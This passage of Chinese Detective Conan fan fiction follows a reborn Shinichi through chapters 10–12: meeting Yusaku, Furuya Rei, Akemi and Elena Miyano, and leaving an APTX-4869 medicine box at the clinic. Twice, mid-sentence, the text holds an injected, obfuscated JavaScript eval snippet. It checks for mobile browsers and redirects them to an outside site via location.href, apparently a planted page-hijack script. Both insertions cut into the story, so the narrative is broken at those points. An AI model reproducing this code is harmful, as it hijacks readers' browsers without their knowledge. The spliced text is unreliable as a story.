“工藤新一,”他回答,声音不高,却在暮色里稳稳地落进每一个人耳中,“是个侦探。” 镜片后的湛蓝瞳孔映着晚霞,流光溢彩,像海面托起最后一枚落日。 矶贝凝视他良久,嘴角慢慢扬起,那笑意里没有惯犯的阴鸷,只有一种被光穿透的坦然。 “侦探啊,”矶贝看着他,也笑了起来,“了不起的少年。” 工藤新一向他点头致意,目送着警车开往警视厅,在夕阳照耀下扬起一地风沙。风沙在夕光里升腾、盘旋,最终归于寂静——仿佛一场被提前终结的风暴,连余响都被温柔的光收走。 二十年后的杀机,此刻被黄昏轻轻合上。 警车走远之后,工藤优作单膝蹲下,让自己的视线与男孩平齐。最后一缕夕光斜斜切过两人的侧脸——他看见那双湛蓝眸子里的锋芒,像被风吹皱的湖面,碎成细密的涟漪,又在涟漪深处浮出一丝窘迫的躲闪。 “工藤新一?” 他低声唤出这个名字,嗓音比夜色更沉,却仍带着不易察觉的颤音:“我认识……你认识我吗?新一……君?” 那一瞬,工藤新一几乎听见自己心脏裂开的轻响。 ——他是他的儿子,可他还不是他的父亲。 酸涩像潮水漫过喉咙,他调动起早已炉火纯青的演技,嘴角弯出一点歉意又茫然的弧度:“抱歉……优作先生……” “你……”工藤优作知道这孩子不一般,但他看不得他为难,追问的话就这样没了尾音,“新一君和我们去录笔录吗?你电话里……诶。” 话音未落,男孩的身体忽然向前一倾。 工藤优作猝不及防,几乎是本能地伸手,再一次将那副轻得惊人的肩膀揽进怀里。 “新一君?新一君?”工藤优作轻轻摇晃着怀里的男孩。男孩好似睡着了,呼吸轻缓绵长。 “新一!” 远处传来嘶哑而急促的呼喊,诸伏英拓与诸伏加奈跌跌撞撞地冲来,鞋跟敲击地面的节奏凌乱无章。加奈的裙摆被风掀起,碎发黏在汗湿的鬓角;英拓的领带歪到一边,平日里的斯文此刻只剩仓皇。两人扑到近前,同时刹住脚步—— “新一……” 加奈跪下来,伸手想把男孩接过去,指尖克制不住地发抖。 工藤优作却没有松臂。他微微侧身,像一道无声的屏障,将昏睡的少年护得更紧。“抱歉,”他的声音温和,却带着不动声色的审视,“二位是?” 英拓按住妻子的肩,让她深呼吸,随后欠身:“我们是新一的父母,敝姓诸伏。内子关心则乱,失礼之处还请见谅。” 养父母? 工藤优作的目光不动声色地掠过两人:英拓的腕表是三年前出的地区限定款,表带磨得发白;加奈的耳钉是长野老铺的手工,在跑动间掉了一颗——显然是来东京旅游的一家子。 “在下工藤优作。”他顿了顿,语气轻得像在试探,“恕我冒昧,这孩子……姓工藤,对吧?” “是,新一确实姓工藤。”诸伏英拓笑了笑,明白他的顾虑,“我们接手抚养不过半个多月,手续还没捂热呢。” 诸伏加奈却猛地抬眼。她的视线在青年与男孩之间来回,越看心跳越快——那双眼角微扬的凤眼,那道利落的面颊线,甚至昏睡时抿起的唇角,都像被同一把刻刀雕过。 “工藤……”她喃喃,指尖无意识地攥紧了丈夫的袖口。 工藤优作确认他们的嗓音与电话里偶尔传来的父母呼唤吻合,这才稍稍松了臂弯。 “新一君只是睡着了,二位不必太担心。” 然而就在他俯身欲将男孩递出的瞬间,昏睡中的新一忽然蹙眉。那只白而小的手不知何时已攥住他西装的前襟,少年像怕冷似的蜷成更小的一团,鼻尖在布料上蹭了蹭,发出极轻的呜咽。 工藤优作僵在原地。 而工藤新一仍蜷缩在他的怀里,像终于找到了黑甜乡的幼猫,死死揪住这片温暖,不肯放手。 10. 昔人 这一睡就睡过了去警视厅、睡过了做笔录。 不知双方最后是如何处理的,总之工藤新一再醒来时,正躺在开往酒店的私家车上——据说该车车主毛遂自荐一定要送他们——身上还盖着工藤优作的深蓝色西装外套。 昏黄的灯光像融化的黄油,软软地抹在车窗上。 工藤新一抱着那件深蓝色西装,像抱着一只暖烘烘的猫——面料上还留着淡淡的墨香,以及一点点熟悉的气息。指尖一收紧,西装的里衬就发出轻细的摩擦声,提醒他:这可是工藤优作的外套,而他刚才像树袋熊一样直接倒在了他身上。 他在心里哀嚎一声,耳根瞬间烧得发烫。 这场昏睡来得猝不及防,时间也卡得十分精准,简直是故意让他怀疑一般。 他自那场失语开始的猜测逐渐成了型。每改变一件悲剧,那悲剧的后果就会换一种形式背负在他的身上,俗称“背负因果的代价”。只是目前样本太少,他暂时还分析不清改变事件与代价之间的兑换关系。 工藤新一打了个哈欠,慢吞吞地揉揉眼,刚要问现在是要去干嘛,就被急刹车撞到了头,疼得他“嘶”了一声。 诸伏加奈听到动静,回过头:“新一醒了,有哪不舒服吗?” “没有,加奈阿姨。”工藤新一笑道,“对了,这衣服是……” 他指的是被他抱在怀里的、工藤优作的西服外套。 诸伏加奈的神色揶揄起来:“新一突然就睡在工藤先生怀里,手上揪他衣服揪得可紧,工藤先生不把外套解下来就放不下你,我们想把衣服还给人家,你就是不撒手,所以……” 她满意地看着养子白净的小脸涨红成了个番茄,笑得花枝乱颤。前座的诸伏英拓透过后视镜无奈地看她,也忍不住弯唇笑了起来。 “怎么不叫醒我……呐,笔录怎么样了?还有衣服,优……优作先生说怎么办了吗?” “笔录的话,工藤先生替你录了,哦,还有那几个犯人,听说都很老实地认罪了。”诸伏英拓说,“至于衣服,工藤优作先生说后天邀请我们一家去野营,到时再拿给他就好。” 工藤新一豆豆眼。 ……野营? 先不说工藤优作对野营并不怎么感兴趣,就说邀请一大帮陌生人出游……实在不像他老爸会做的事啊。 一定是试探吧…… 工藤新一半月眼,指尖无意识地揪着西装纽扣。从发送那条全是破绽的求助短信,到麻醉针秒放倒劫匪,再到直接倒在对方怀里……漏洞多得可以拿去筛面粉。以工藤优作那种“看一眼就知道凶手是谁”的洞察力,除非突发脑震荡,否则不可能不起疑。 糟糕啊……他给工藤优作发短信时就该想到的。他懊恼地把自己蜷成一团,把外套蒙到头顶。深蓝布料隔绝了光线,只剩冷杉与墨水的气味萦绕鼻尖。 ——算了,兵来将挡,水来土掩。 反正,野营而已。 “怎么了吗,新一?”诸伏加奈瞧他神情古怪,“不想去吗?” “不是……呃,我是在想,优作先生为什么要请我们去玩?还是野营……用具什么的很麻烦吧?” “他说是觉得你和他投缘,也想跟我们家交个朋友,还说你给他的新书带来了灵感,要好好感谢你。”诸伏加奈解释道。 工藤新一内心猛猛祈祷——如果这不是工藤优作找的借口,他后天见到他时一定要让小说家断绝把他当角色原型的念头。 倒不是说怕工藤优作写得不好——日后的《绯色搜查官》可以证明——只是工藤新一真的不想当“暗夜男爵世子”。 “新一,”诸伏加奈看他又不知道在想些什么,唤了他一声,然后尽量自然地问,“新一,你以前是不是认识工藤优作先生?” 工藤新一看着她:“是啊,不过是我单方面的。” 有短信和电话在先,他们猜得到也不出所料。 “那他是不是……” “嗯?什么?” “啊,我是说,新一喜欢优作先生吗?” 诸伏加奈本来脱口而出,想问她的养子工藤优作是不是他的亲人,可又不知怎地,话说一半,莫名不想问了。 工藤新一脸色又有点泛红——加奈阿姨这话在他这,就好像是在问十九岁青年人“爱不爱爸爸”。总而言之,说不出地奇怪。 他一尴尬或是害羞就会不自觉换成幼稚天真的语气,几乎算得上是柯南生活的后遗症了:“啊……就……还好哦……” 车里三个大人,包括司机先生全都忍俊不禁,轿车就在这愉悦的氛围里到达了杯户酒店。 甫一下车,酒店门口一高一矮两个身影就急匆匆地奔了过来。工藤新一敢打赌,除了之前他和景光被拐卖那次,他从未见高明哥跑得这么快过。 一家五口互相安慰着往酒店里走,临进门时,工藤新一似有所感,向外望了一眼,看见那位“司机先生”——实际上是自告奋勇要求送几人回住处的轿车车主,并没有急着离开,而是虔诚地向他的方向深鞠了一躬。 工藤新一下意识侧身半避开,电光石火间,忽然福至心灵,想起了这位好心先生的身份。 那男人久久才直起身,似乎抹了把泪,从口袋里拿出电话接通。借着月光,隐约能看见男人脸上的温柔笑意,他饱含爱意地讲着电话,口型似乎是“美海”二字。 看来他过一会儿要去赴心上人的约了。 而工藤新一,却像是忽然踩到了一泡厄运的乌鸦屎,整个晚上意外连连。 经历了回酒店、吃夜宵、冲热水澡等事之后,终于关灯睡觉的工藤新一身上已经多出了三处淤青和四道擦痕,热水澡也救不回的酸痛,此刻正沿着神经末梢一路爬进大脑。 要不是他运动细胞够强大,也许受的伤会更多。 一定是代价…… 他苦中作乐地想——今天本该响的那声“意外走火”被他强行静音,于是命运只好换另一种方式补回剂量。 诸伏景光躺在隔壁床上,打了个哈欠——他玩了一下午,晚上又在酒店担惊受怕地和哥哥等了好久的消息,已经身心俱疲。但他还记得妈妈的话,要转移新一的注意力,别让新一带着被绑匪劫持的记忆入眠,所以把自己卷成蚕蛹,只露出半张脸,眼睛却还强撑着亮着:“新一!新一!我们明天去公园玩好不好?那个公园超赞的!” “哦?”工藤新一懒懒地应。 “有秋千、足球场,还有好大好大的花坛!”景光越说越精神,“今天 zero 帮我抓到一只蜻蜓,金色的翅膀,像小灯泡!不过他只让我看几秒就放走了。” “——嘶!”工藤新一猛地一挺身,额头“咚”地磕在床头柜角——这代价真是灵光——疼得眼泪差点飙出来,“zero?” 景光没察觉黑暗里那双瞬间睁圆的眼睛,继续欢快爆料:“嗯!zero!他说他叫‘零’,是不是酷毙了?而且他有一头像是阳光一样的金色头发哦!特别特别漂亮!” 真的是降谷零…… 工藤新一倒回枕头,用掌心按住突突直跳的太阳穴,嘴角却抑制不住上扬。 接下来的二十分钟,他听景光用软糯的童声回放下午的每一个细节——从第一次抓蜻蜓、zero教他摸小虾,到两个人趴在草坪上研究蚂蚁搬家。直到诸伏高明忍无可忍推门进来,强硬地让两个大半夜不睡觉的小学生安静。 “我和 zero 约好明天上午继续踢球,”景光把半张脸埋进被子,声音闷闷地,像是在躲哥哥,“新一也来吧?” “当然好。”工藤新一轻声答。 不过,话说回来……工藤新一偏头,露出无奈又好笑的半月眼看向一旁已经睡熟的诸伏景光。 才认识一下午就叫昵称了啊……该说不愧是上辈子的幼驯染吗? 工藤新一胡乱想着,也渐渐睡了过去。 ……唔,那降谷先生应该也叫上“hiro”这个称呼了吧。 “——Hiro!” 好吧。工藤新一没来由地紧张,他看着远处朝诸伏景光招手的金发男孩,再次瞎想着。 他们真的已经交换昵称了啊。 九岁的降谷零笑容飞扬,从眉目间依稀看得出长大后的俊朗。他金色的发丝在阳光下闪耀,折射出比阳光更灿烂的光辉。工藤新一怔愣地看着他,看着他从前未曾在降谷先生身上见过的开朗活力。 十余年腥风血雨,四五载长夜独行,足以将一个人摧折到遍体鳞伤、皮开肉绽,足以让他在血与火中磨炼出铁铸的臂膀、锻造一副刀枪不入的铿锵战骨。 幸而万水千山,初心不改。 工藤新一没有发觉,自己面上露出了怎样哀伤又欣慰的笑。他的目光追随着快步走向他们的降谷零,仿佛透过他,窥见了降谷先生波澜的一生。 “……这是我跟zero你说过的,我的另一个哥哥,工藤新一。”再回过神时,降名零已经到了近前,而诸伏景光正一板一眼地给他介绍自己的朋友兼养兄。 怎么这么严肃啊,景光。工藤新一无奈地看着肉眼可见紧张起来的降谷零。 黑皮男孩额上闪着细汗水光,脸上贴着一块创可贴,扑闪的下垂眼不断地眨着,小麦色的肤色也遮不住脸上紧张的红晕。 喂喂,刚刚那是波本瞳吗?虹膜颜色变灰了啊喂! 工藤新一豆豆眼了一瞬:原来波本瞳是天赋技能来着吗? “工……工藤兄,在下降谷零,很荣幸见到您!请多指教!”降谷零忽然立正,给正感慨万千的工藤新一鞠了一躬。 这一下给两人都弄不会了,工藤新一瞧诸伏景光———看你那严肃的态度给人吓得。 诸伏景光有点儿委屈——他昨天也是这么介绍哥哥的,zero这么紧张明明是被诸伏高明吓到了。 “别这么拘束,”工藤新一上前一步,哭笑不得地把降谷零拉起来,另一只手则招呼景光也跟上来,“不用那么拘礼……可以叫你零君吗?” 他环顾一圈,看见公园的西南角有秋千、滑梯等设施,于是抬脚想往那走,想着玩点儿什么让降谷零放松下来。诸伏景光则跑到降谷零的另一侧,小声说:“放心好啦,新一和哥哥不一样的,zero别紧张。” 降谷零点点头,然后回答工藤新一说:“可以的,工藤兄。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137887|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工藤新一听这称呼,怎么听怎么别扭,于是说:“叫我名字就行,零君,我没比你们大多少。” “好……新一……新一哥。” “噗。”工藤新一一时没忍住。他突然就有点理解服部平次每次要求他叫“平次哥哥”的恶趣味了。他倒不想占这几分称呼的便宜,再说,这么听起来实在是别扭,“不用——” 话音没落,工藤新一内心警报拉满,那个貌似还没停歇、无处不在的“本堂瑛佑式代价”忽然应验,他左脚尖勾住了公园地砖缝,右脚一歪,他没来得及抢救这危险的步态,就天旋地转地摔在了左边降谷零身上——无辜的降谷零瞬间成了城门外的池鱼。 工藤新一尽力调整倒下的姿态,最终,他和降谷零以一个奇异的姿势双双倒地。降谷零有半个身子压在他身上,而工藤新一侧身倒地,通常来说比较幸运的右臂这次没能幸免于难,手肘上方擦破了好大一块伤口,有丝丝血液伴着油状物缓缓流下。 “——不用叫‘哥’。”他生无可恋地吐出后半句话。 很好。躺在地上的工藤新一想。得遇故人的第一面,他给人家送了好大一份惊吓大礼包。 两个人相扶将地起身,降谷零抬手抹去额角的汗,掌心那几道细红的刮伤在光里像极浅的闪电。工藤新一的手背也沾着泥,血痕细得像铅笔线,他却满不在乎地甩甩指尖:“哪儿有自来水?冲一下完事。” 话音未落,诸伏景光已经一手一个扣住两人的手腕。少年笑得眉眼弯弯,声音软得像棉花糖:“不可以哦。” 明明阳光落在景光脸上,活脱脱一枚小天使,工藤新一和降谷零却同时打了个冷战。降谷零指向水龙头的手指拐了个弯,指向了反方向。他果断倒戈hiro,义正辞严地说:“受了伤不可以冲水,新一君,我们还是去好好处理下伤口吧。” 蔚蓝色与紫灰色的眼睛对视一秒,彼此都在对方眼里读出“被天使支配的恐惧”。新一心里犯嘀咕:这俩人不是昨天才见面?怎么默契得像穿了同一条裤子……而且零君你心虚得也太明显了吧。 “新一?”景光眨眨眼,睫毛扑闪扑闪。 工藤新一立刻举手投降:“好好好,诊所就诊所!” 降谷零自告奋勇带路,步子轻快得像在踢正步。穿过两条街,拐进一条铺满树影的小巷—— ——等等,这附近的诊所? 降谷零小时候常去的公园附近的诊所? 工藤新一今天脑子有点迷糊,但也意识到这个描述意味着什么。 宫野诊所。 宫野厚司、宫野艾莲娜、宫野明美、宫野志保……他原本打算慢慢找机会拜访,没想到降谷零直接把他领到了门口。 他昨天还当这代价是乌鸦屎,如今一看,他这分明是乌鸦屎里捡到了金钥匙。 八月的阳光从槭树缝隙里筛下来,落在宫野诊所的白墙与原木门槛上,像给整栋房子打了一层柔光滤镜。檐下风铃叮当,空气里混着消毒水与青草味,竟有种诡异的安心。 很难想象这座诊所的两位主人是那么疯狂、但又实在令人惊叹的科学家呢。 “原来零君的创可贴是高明哥给的?” 工藤新一用脚尖轻轻一挑,足球听话地跃到膝弯,再稳稳落回脚背。球面旋转,在树影里划出一道银亮的弧线。 降谷零有些不好意思地挠了挠脸颊:“就……捉蜻蜓的时候滑了一下。” 诸伏景光:“明明是为了捉蜻蜓才划伤的——幸好高明哥哥随身带了创可贴。” 景光光说还不够,模仿了一下兄长板着脸递创可贴的动作——他眉心微蹙,嘴角抿成一条严肃的线,除了眼神实在没有威慑力,与诸伏高明简直如出一辙。 降谷零显然对这套“家长式凝视”记忆犹新,耳尖悄悄红了。 工藤新一心里偷笑:高明哥那哪是给零君备的创可贴,分明是给他这个“移动伤患”准备的——因为他实在太不在意自己的身体了——诸伏高明也因此养成了“见不得不爱惜自己身体的行为”的习惯。 约莫昨天这个习惯被降谷零勾出来一次,诸伏高明怕不是下意识沉下脸,神情严肃地盯着降谷零脸上的伤,直到他接过创可贴贴上才罢休。 所以刚刚听说我也是景光的哥哥时,零君才那么紧张啊。工藤新一无奈,高明哥这是把未来的全能精英吓出心理阴影了吗? “Zero想学足球吗?”见降谷零的目光一直黏在足球上,诸伏景光眼睛亮闪闪,“新一的足球超厉害!一会儿让zero开开眼界!” 降谷零的紫灰眸瞬间放大,像被点亮的灯泡:“可以吗?” “当然。”工藤新一回过神,轻笑,脚背一颠,足球腾空旋转。阳光穿过叶隙,在球面上碎成点点金粉。 他余光扫过降谷零——那双眼睛里盛满了纯粹的期待,完全不像未来那个能面不改色拆炸弹的公安精英。 三个男孩有说有笑地走近诊所,一路上欢声笑语,微风拂过送来阵阵草木的香气,不远处又传来女孩银铃般的笑声。 降谷零显然是认得那女孩的,他扬起眉,朝那个似乎比他们小些的女孩儿笑:“明美!” 11. 今朝 宫野明美发现了他们,先是高兴地小跑过来,然后皱起秀气的眉:“你是不是又把自己弄受伤了?他们来找茬还是又是自己弄的?” 女孩有一头乌黑笔直的长发,额前是偏分的细碎刘海。她有一双细长的眉、大而圆的眼眸,小巧精致的口鼻,整张脸给人以清丽俏皮之感,又因主人的明媚多了几分灵气。她不怎么像那个“宫野明美”,甚至不像工藤新一认识的任何与宫野家有血缘关系的人———比如玛丽、比如灰原——她没有那种清冷而忧郁的气质,没有那份挥之不去的愁绪,甚至也没有他印象里宫野家一脉相承的孤独感。 但她就是宫野明美,六岁的宫野明美,是能用一个笑容化解杀意的那个女孩。 “都没有!”降谷零的耳根在宫野明美和诸伏景光的双重注视下迅速烧得通红,鬼使神差,向才见一面的工藤新一求助,“新一君,你说,我是不是真的没有——” 说罢又转向诸伏景光:“而且hiro,你不是我一起来的吗!”言外之意,hiro你怎么会不知道我今天的伤是怎么来的? 诸伏景光双手插在口袋里,微微偏过头,恶趣味地说:“今天的我知道,以前的我可说不准。” “Hiro!”降谷零的声音拔高了一度,像被踩到尾巴的猫。他急切地转向宫野明美,“——明美,今天真的是意外——新一君才是受伤重的那个!” 宫野明美眨了眨眼睛,俏俏地点了点头,算是信了他,转向两个初次见面的男孩:“你们好,我是宫野明美,请多指教。” 她微微鞠躬,声音像春日里融化的雪水一样清澈。 “诸伏景光,请多指教。” “工藤新一,请多指教。” 工藤新一挠了挠后脑勺,莫名有些局促,手指无意识地摩挲着伤口附近的皮肤。 “——啊,你的胳膊!”宫野明美忽然惊呼,她快步走到工藤新一面前,小心翼翼地扶着他受伤的那只手,“抱歉抱歉,工藤君——我带你们去找我妈妈包扎!” 她说罢就跳上台阶,示意他们跟上,白色的小皮鞋在木质地板上发出清脆的“哒哒”声。她推开诊所的白色木门,门轴发出轻微的“吱呀”声 工藤新一是真的快忘了自己受的那点儿伤了。被宫野明美这么一提,他愣了一下,才后知后觉地想起自己原本就是来诊所包扎的,抬脚跟了上去。 四个孩子安静地走在走廊里。走廊两侧的墙壁刷成了米色,在日光下泛着微微的暖光。墙上挂着几幅水彩画,画的是不知名的野花和远处的山峦,笔触稚嫩却生动。偶尔有一两处小装饰——一个歪着脑袋的陶瓷小猫,一盆叶片肥厚的绿萝——给这过于洁净的空间添了几分生活的烟火气。 工藤新一的目光在这些细节上停留了一瞬,忽然想起二十年后,这里已经变成了棋牌室。那栋新楼几乎是在原址上重建的,钢筋水泥的冷硬取代了现在的木质地板和白色木门,连空气中消毒水的味道都被烟草和麻将的喧嚣彻底取代。他下意识地回头看了一眼,仿佛透过这扇半开的门,能看到未来那个截然不同的世界。 上辈子,为了把那一丁点儿可能存在的线索也抠出来,他和降谷零、灰原哀,以及几位临时借调来的搜查一课刑警,把整间棋牌室翻了个底朝天。掀开的地板缝隙里积着陈年的灰,推开的墙壁后露出焦黑的木梁,空气里混着潮气、霉味,还有不知哪一次火灾遗留下的淡淡焦糊味。他们最终只找到几处被火舌舔出的深褐色灼痕,像干涸的血迹,顽固地烙在水泥与木头的交界。 “是组织的手笔。”降谷零蹲在墙角,指尖轻触那处烧得最厉害的裂缝,声音低哑,像在确认,又像在安抚自己。他左臂吊着三角巾,白色纱布边缘渗出一点旧血,面色在昏黄灯泡下透着灰白,“我记得这几处火烧过的地方,原本都是诊所的里间——他们做研究的地方。” 他没说让江户川柯南和灰原哀跟上,自顾自地在残砖碎瓦间踱步,脚步轻得像怕踩碎什么。灰原哀扣着兜帽,只露出一截苍白的下巴;柯南跟在他右后方半步,小皮鞋碾过碎玻璃时发出细碎的“喀啦”声。 “这里以前有一扇白色的百叶窗。” “这儿是候诊室。” “她一般坐在那个角落里……” “墙上挂了几幅风景画,有一幅画的是日出。” “……明美很喜欢在楼梯旁边坐着” “这块地曾经种了几株向日葵。” “以前没有这间小屋子,应该是后来建的。” “……艾莲娜老师经常站在这扇窗旁边看风景。” 面目全非的旧址,物是人非的重逢。 他笑笑,忽然觉得自己自来到东京——或者准确说,自重生以后——就变得有些多愁善感。每当撞见与“过去”沾边的人或事物,记忆便像被谁偷偷按下播放键,一帧一帧倒带,然后毫不留情地戳在胸口。 像个老头子似的。他在心里自嘲,就连现在都是。 工藤新一摇摇头,把那些潮湿的回忆从脑子里甩出去。理智告诉他,这种反应再正常不过:两年的明枪暗箭,旷日持久的拉锯,以及太多战友的倒下——一夕回到一切尚未开始的原点,心理落差与创伤应激会像影子一样黏着他。重生至今不过四个月,他没能摆脱这些梦魇,本就是理所当然。 可他的心理损耗不会因为他“理智上明白”而停止。 “妈妈!有个小哥哥受伤了,零君也是!”宫野明美踮起脚,用肩膀顶开诊室那道磨砂玻璃门。门后的弹簧“吱啦”轻响,一股淡淡的消毒水味扑面而来,混着药草暖烘烘的苦甘。 工藤新一立刻收起那些没用的思绪,期待地看向屋内。 诊室不大,却干净得像刚被晨雨洗过。百叶窗半阖,细长的光片落在木地板上,像一排排银色的琴键。靠墙的药柜玻璃映出两个女人的剪影:一个坐着,一个站着。 那是…… “总之,我应该会在这边停留几天。你和厚司君多考虑一下吧。” “我知道了,你也多小心啊。” 站着的那位正扣上鸭舌帽的暗扣,看见四个孩子时停顿了一下。她脸上没什么表情,墨绿色的眼睛只有在看向宫野明美时才显得柔和了几分。那双眼睛极冷、极凌厉,眼尾有一道深邃的痕迹。 她个子高挑,风衣下摆随着动作扬起,像一片锋利的刀。米白衬衣的领口严丝合缝,一直扣到最顶端;外罩的卡其色风衣明显比时令厚上一季,肩头却连一粒汗珠都没有。 其实是为了方便携带武器吧,风衣内侧一定是改装过的枪带。工藤新一心想。 你们MI6都这么嚣张吗,玛丽女士?昨天去银行时不会也带着枪吧? 赤井玛丽冲孩子们淡淡颔首,大步擦肩,风衣带起的风掠过工藤新一鼻尖,留下一丝极淡的香水味。 门轻轻阖上,室内只剩百叶窗的“嗒嗒”轻响。 坐着的女人这才起身。她比工藤新一想象中更安静,白大褂的袖口卷到小臂,露出一截苍白却温暖的手腕;齐肩的铂金色头发用一枚银色发卡松松别住,发尾带着微微的弧。 “妈妈,零君和他的朋友工藤君摔倒受伤了。”宫野明美走到房间里。 “都进来吧。”女人小声地说。 她就是宫野艾莲娜。令降谷先生念念不忘的“艾莲娜老师”,给灰原留下二十卷生日录音的“堕天使”,让赤井玛丽叹息悔恨的亲妹妹。 “艾莲娜老师。”降谷零那声称呼里带着少年特有的雀跃,又藏着一点小心翼翼的虔诚。 宫野艾莲娜柔和地笑:“是零君啊。” 降谷零知道她内向,于是索性握住诸伏景光与工藤新一的手腕,把人轻轻带到她面前,开口替她省去寒暄:“这两位是我新交的朋友,诸伏景光和工藤新一。” 艾莲娜微微颔首,唇线轻抿,算是打过招呼。她转身时白大褂的下摆掠过药柜的玻璃门,发出极轻的“沙沙”声。医药箱被她从第二层抱下来,铜扣“咔哒”一声弹开,碘酒与纱布整齐地躺在绒布凹槽里。 碘伏擦上伤口时带着凉意。工藤新一坐在高脚凳上,两只脚悬空,晃也不晃。酒精棉球滚过破皮处,泛出细小的白沫,他连眉尖都没颤一下,只仰起脸,用孩子特有的软糯声线道:“谢谢艾莲娜医生!” 谢谢你,最终还是选择了销毁那些实验数据。 宫野艾莲娜怔了下,她向来敏感,因而总觉这个男孩的道谢有点儿认真过头了。 不像在为她给他处理伤口而道谢,而是有什么更深沉的原因。 “没关系,以后走路要小心一点。”她破天荒开口,“这几日都不要沾水。” 宫野明美趴在母亲膝头,脸蛋蹭着白大褂的口袋,嗅到淡淡的消毒水与洋甘菊混合的味道。她歪着头,小声却掩不住好奇:“妈妈,刚刚出去的那个阿姨头发颜色和你好像——是认识的人吗?” 是你的亲姨妈哦,明美小姐。工藤新一暗自说。 “只是个客人,明美。”宫野艾莲娜却搪塞过去。 工藤新一垂下眼睫,让额前碎发挡住自己过分专注的视线。碘酒的味道在空气里浮动,像一层极薄的雾,恰好掩住他眼底一闪而过的冷芒。 “你和厚司君多考虑一下吧。”赤井玛丽这句话却带着不容置喙的分量。那不是家人之间寻常的叮嘱,而是情报人员惯用的“最后通牒式”提醒。能让一名MI6特工特意乔装跑这一趟,只能是乌丸集团已经递来了邀请函,而且开出的价码高到足以让任何人犹豫。 工藤新一的视线无声地扫过诊室——药柜里的瓶瓶罐罐排得一丝不苟,却没有任何孕妇专用的营养剂或叶酸;艾莲娜的腰身纤细,白大褂最下面那粒扣子还能轻松扣上;墙角那台老式留声机旁,只放着宫野明美的童话磁带,并没有胎教音乐。 种种迹象都指向同一个结论——宫野志保尚未到来,宫野夫妇仍处于“接不接受”的岔路口,而非“如何脱身”的泥潭。 那么劝他们拒绝乌丸集团就能容易很多。问题只剩下如何让组织主动放手,又不引起怀疑。 少年苦思冥想。 在诊所待了一会儿,三个男孩就准备道别。工藤新一心头一动,手在口袋里鼓捣了一番,偷偷地把APTX-4869及解药从药盒里取出,然后趁所有人不注意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“ANTI-APTX-4869”、“Sherry/H·A”。 是什么药物的代号吗? 她担心这盒子是姐姐的某样特殊药品样本,于是还是拨了号。 “嘀、嘀、嘀、嘀……嘟嘟嘟嘟——” 工藤新一站起身,背对阳光,脸上是孩子气的笑,眼底却掠过一丝极轻的、只有成年人才能读懂的笃定。 ——诱饵已经放下,接下来就看鱼什么时候咬钩了。 这盒子与如今的赤井玛丽毫无干系,于是电话的结果自然是不了了之。药盒被留在诊所里,三个男孩则告辞回到公园,按照之前的约定踢了半天足球。而后又拿喝光的水瓶开始打水仗。降谷零把水瓶举过头顶,像举奖杯一样得意忘形,结果一道水柱精准命中他的后颈——诸伏景光袖子卷到肘弯,笑得见牙不见眼。 工藤新一在飞溅的水幕里灵活穿梭,受伤的胳膊被防水胶布裹得圆鼓鼓,像一枚白色的护臂。 而出了一身汗又玩水的后果是,本就抵抗力弱的工藤新一第二天一早不幸中招,由热伤风引起了上呼吸道感染——他又感冒了。 “要不我跟工藤先生说一声,今天你就留在酒店里?” 诸伏加奈蹲下身,把淡蓝色一次性口罩的软铁丝压到次子鼻梁上,指尖顺着耳绳绕到耳后,轻轻弹了弹确认松紧。 工藤新一偏头打了个小喷嚏,口罩鼓出圆圆的一团,又迅速瘪回去。他揉揉鼻尖,声音闷在棉布后面,却依旧带着不容拒绝的坚定:“只是普通感冒啦,加奈阿姨,真的没事——啊啾!” 尾音的喷嚏让他自己都不好意思地眨眨眼,耳尖泛红——昨晚果然不该穿着湿T恤、盘腿坐在空调风口研究那串邮箱地址到半夜啊。 诸伏景光被诸伏高明牵着手站在一边,耷拉着脑袋,懊恼地说:“……我不拉着新一打水仗就好了。” “我的体质就是很容易得感冒的类型,咳,一两天就好了,跟水仗没什么关系的——而且我超想去野营哎加奈阿姨!”工藤新一的嗓音有一点喑哑,但不妨碍他炉火纯青地撒娇卖萌。 加奈阿姨失笑地摇摇头,转身从衣架上取下那件灰色牛仔外套——正是银行抢案那天他穿过的那件外套:“你呀——就这么喜欢工藤先生吗?” 工藤新一隔着口罩摸摸鼻子:“加奈阿姨!” 今日天公作美,阳光明媚却又不显得热烈。一家五口提前在酒店门口等着工藤优作,诸伏景光拉着高明聊天,工藤新一则抱着自己的小背包在一旁发呆,嘴里哼着一串不成调的音阶。 约定时间前十分钟,一辆面包车缓缓停在他们面前,轮胎碾过路面细碎的沙粒,发出轻软的“沙沙”声。工藤优作戴了一副墨镜,穿着清爽的运动装,下车和他们打招呼。 “抱歉,让大家久等。” 诸伏加奈笑着摆手:“我们也才下来几分钟。” 简短寒暄后,工藤优作接过她手里的野餐篮放在后备箱里。高明拉着景光和新一钻到后排,夫妻俩则一个在副驾驶、一个坐在了中间。优作绕到驾驶座,车门合上,发动机低低地哼唱,驶向鸟矢方向的东京城郊。 12. 前奏 工藤新一坐在后座的角落里,诸伏高明在他旁边。他斜倚着靠背,面朝车内,悄悄拿出那部二十年后的智能手机。屏幕亮起的一瞬,他立刻用掌心遮住,只露出一条细缝,快速扫了一眼消息提醒随后立刻熄屏——他可不能让他老爸发现这个,否则简直就是把穿越这件事摊开了摆他眼前。 做完这一切,他把下颌埋进牛仔外套的领子里,睫毛低垂,只留下一双眸子在阴影里转着细小的光点,似乎在思考什么。 “新一君感冒了啊,”工藤优作和副驾驶的诸伏英拓说着话,借着后视镜的反射看了他一眼,“是有些没活力呢。” 